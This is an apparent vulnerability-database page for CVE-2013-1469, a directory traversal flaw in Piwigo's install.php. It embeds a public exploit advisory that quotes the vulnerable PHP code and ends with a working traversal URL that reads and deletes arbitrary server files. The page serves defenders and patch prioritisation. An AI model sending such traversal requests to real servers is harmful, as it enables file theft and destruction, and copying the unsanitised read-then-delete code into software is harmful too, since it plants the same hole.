CVE-2013-1469

medium
Published 2013-03-13 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
5.0

Description

Directory traversal vulnerability in install.php in Piwigo before 2.4.7 allows remote attackers to read and delete arbitrary files via a .. (dot dot) in the dl parameter.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-24520 webapps php verified text ยท 2 KB
LiquidWorm ยท 2013-02-19

Piwigo 2.4.6 - '/install.php' Arbitrary File Read/Delete

text exploit Source: Exploit-DB
Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability


Vendor: Piwigo project
Product web page: http://www.piwigo.org
Affected version: 2.4.6

Summary: Piwigo is a photo gallery software for the web that comes
with powerful features to publish and manage your collection of
pictures.

Desc: Input passed to the 'dl' parameter in 'install.php' script
is not properly sanitised before being used to get the contents of
a resource or delete files. This can be exploited to read and delete
arbitrary data from local resources with the permissions of the web
server via directory traversal attack.

====================================================================
/install.php:
-------------

113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }

====================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php

Vendor Patch: http://piwigo.org/bugs/view.php?id=2843



15.02.2013


--

http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
EDB-24561 webapps php verified
High-Tech Bridge SA ยท 2013-03-01

Piwigo 2.4.6 - Multiple Vulnerabilities

Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
piwigopiwigo{"endIncluding":"2.4.6"}
piwigopiwigo1.0.0
piwigopiwigo1.0.1
piwigopiwigo1.0.2
piwigopiwigo1.1.0
piwigopiwigo1.2.0
piwigopiwigo1.2.1
piwigopiwigo1.3.0
piwigopiwigo1.3.1
piwigopiwigo1.3.2
piwigopiwigo1.3.3
piwigopiwigo1.3.4
piwigopiwigo1.4.0
piwigopiwigo1.4.1
piwigopiwigo1.5.0
piwigopiwigo1.5.1
piwigopiwigo1.5.2
piwigopiwigo1.6.0
piwigopiwigo1.6.1
piwigopiwigo1.6.2
piwigopiwigo1.7.0
piwigopiwigo1.7.1
piwigopiwigo1.7.2
piwigopiwigo1.7.3
piwigopiwigo2.0
piwigopiwigo2.0.0
piwigopiwigo2.0.1
piwigopiwigo2.0.2
piwigopiwigo2.0.3
piwigopiwigo2.0.4
piwigopiwigo2.0.5
piwigopiwigo2.0.6
piwigopiwigo2.0.7
piwigopiwigo2.0.8
piwigopiwigo2.0.9
piwigopiwigo2.0.10
piwigopiwigo2.1.0
piwigopiwigo2.1.1
piwigopiwigo2.1.2
piwigopiwigo2.1.3
piwigopiwigo2.1.4
piwigopiwigo2.1.5
piwigopiwigo2.1.6
piwigopiwigo2.2.0
piwigopiwigo2.2.1
piwigopiwigo2.2.2
piwigopiwigo2.2.3
piwigopiwigo2.2.4
piwigopiwigo2.2.5
piwigopiwigo2.3.0
piwigopiwigo2.3.1
piwigopiwigo2.3.2
piwigopiwigo2.3.3
piwigopiwigo2.3.4
piwigopiwigo2.3.5
piwigopiwigo2.4.0
piwigopiwigo2.4.1
piwigopiwigo2.4.2
piwigopiwigo2.4.3
piwigopiwigo2.4.4
piwigopiwigo2.4.5

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.